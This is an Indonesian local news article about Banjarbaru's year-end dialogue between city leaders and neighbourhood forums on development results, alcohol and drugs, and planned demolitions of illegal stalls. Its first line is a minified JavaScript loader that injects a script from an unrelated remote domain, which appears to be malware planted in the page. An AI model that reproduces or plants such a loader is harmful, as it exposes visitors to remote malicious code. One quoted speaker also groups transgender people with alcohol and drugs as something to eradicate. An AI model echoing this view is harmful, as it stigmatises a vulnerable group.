(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Warga Minta Miras dan Narkoba di Banjarbaru Diberantas Habis

KANALKALIMANTAN.COM, BANJARBARU – Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota Banjarbaru lewat tajuk kegiatan dialog audiensi akhir tahun, Rabu (20/12/2023) siang.

Pemerintah Kota Banjarbaru yang saat ini dipimpin Aditya Mufti Arifin dan Wartono mendapatkan banyak pujian, kritik hingga saran dari masyarakat.

Kritik dan saran disampaikan melalui Forum RT/RW dan juga LPM se Kota Banjarbaru dalam kegiatan yang diselenggarakan di Ballroom Grand Qin Hotel Banjarbaru

Salah satunya disampaikan Ketua Forum RT/RW Kota Banjarbaru, Sutrisno. Ia mengaku puas dan bangga terhadap capaian pembangunan Pemerintah Kota Banjarbaru di tahun 2023 ini.

“Mewakili RW/RW se Kota Banjarbaru, kami sangat puas dan bangga terhadap apa yang telah tercapai terkait pembangunan di tahun 2023, dibuktikan dengan banyaknya penghargaan, serta ditandai juga dengan peningkatan ekonomi kita,” ungkap Sutrisno.

Dirinya bersama dengan RT/RW Kota Banjarbaru mengatakan siap mendukung dan melaksanakan program dari pemerintah tahun 2024 yang akan datang.

Menurut Penasihat Forum RT/RW Kota Banjarbaru mengatakan, Banjarbaru adalak kota majemuk dan juga kota pelintasan. Ditambah sekarang, kata dia, Banjarbaru telah menjadi Ibu Kota Provinsi Kalimantan Selatan (Kalsel).

Namun, dengan semakin komplek dan beragam Kota Idaman ini, sambungnya, banyak juga kriminalitas titipan yang mengalir dari daerah tetangga.

“Contohnya miras, saya apresiasi Satpol PP sebagai penegak peraturan daerah yang memberantas miras, namun pertanyaan kenapa miras masih ada di kota kita ini, ini penting menjadi perhatian bersama,” ucap Penasihat Forum RT/RW Kota Banjarbaru.

Mengingat penting hal tersebut, dia pun memohon agar TNI dan Polri di Kota Banjarbaru ikut berkolaborasi dalam memberantas kriminalitas bersama dengan Satpol PP.

“Kami memohon agar TNI sebagai penegak kedaulatan, Polri sebagai penegak hukum, dan Satpol PP sebagai penegak Perda, ketiganya jika berkolaborasi Insya Allah Banjarbaru akan bebas dari miras, narkoba hingga transgender,” harap dia.

Menanggapi hal itu, Wali Kota Banjarbaru Aditya Mufti Arifin menyebutkan jika segala masukan, baik itu sekedar informasi maupun kritikan akan menjadi evaluasi bagi pemerintah kota untuk pelaksanaan pembangunan pelayanan di Kota Banjarbaru di tahun yang akan datang.

“Seperti perihal miras tadi, InsyaAllah tanggal 8 akan kita lakukan eksekusi, kita robohkan, kita gusur bangunan liar seperti warung remang-remang dengan harapan salah satu langkah ini bisa mengurangi peredaran miras di Kota Banjarbaru,” ujar Aditya Mufti Arifin menanggapi.

Sementara itu, Aditya mengungkapkan segala capaian hasil realisasi pembangunan oleh Pemerintah Kota Banjarbaru saat ini masih direkap mengunggu untuk tutup buku di tanggal 24 Desember mendatang.

“Karena tanggal 24 baru tutup buku, setelah direkap kita akan tahu dinas mana yang memiliki realisasi program yang bagus berjalan dengan baik dan lancar,” tegas dia.

Ia mengakui sampai saat ini juga.masih banyak program-program kegiatan yang masih dijalankan oleh Pemerintah Kota Banjarbaru. Adapun capaian yang tidak sesuai nantinya akan menjadi bahan evaluasi, serta penambahan reward hingga punishment.

“Capaian yang tidak sesuai tentunya akan dievaluasi, serta ada reward ada punishment,” pungkas Aditya.

Kegiatan ini turut dihadiri seluruh Asisten dan Staf Ahli Wali Kota, Kepala SKPD Lingkup Pemerintah Kota Banjarbaru, Seluruh Kabag Lingkup Sekretaris Kota Banjarbaru, Camat se-Kota Banjarbaru, dan Lurah se Kota Banjarbaru. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie